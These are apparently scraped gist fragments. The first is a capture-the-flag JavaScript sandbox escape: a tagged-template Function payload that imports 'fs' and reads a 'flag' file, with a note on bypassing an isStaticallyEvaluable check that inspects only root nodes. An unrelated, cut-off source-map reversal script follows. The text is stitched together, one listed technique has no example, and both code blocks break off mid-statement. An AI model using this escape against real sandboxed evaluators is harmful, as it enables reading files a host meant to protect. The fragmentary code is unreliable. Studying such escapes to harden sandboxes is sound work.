j4k0xb

There are multiple ways to call a function without using a call expression. import() is a special syntax that can only be a call expression so it has to be wrapped in Function or eval.

• Tagged template:

Function`import('fs').then(fs => console.log(fs.readFileSync('flag', 'utf8')))```;

• Optional call expression:

j4k0xb

Testing the jail and transformations interactively: https://astexplorer.net/#/gist/7283141e13dab314521744603a95e9b7/6da31845d98f2cad406e9db41ed63e0635ac5ef1

Bypass isStaticallyEvaluable

Only the root nodes are checked for being an expression wrapper:

if (!node.isExpressionWrapper()) {
  isConfident = false;
  break;

j4k0xb

const fs = require("fs");
const { SourceMapConsumer, SourceMapGenerator } = require("source-map");

function reverseSourceMap(sourceMap) {
  return SourceMapConsumer.with(sourceMap, null, (consumer) => {
    const reversedMap = new SourceMapGenerator();
    consumer.eachMapping((mapping) => {
      reversedMap.addMapping({
        generated: {
          line: mapping.originalLine,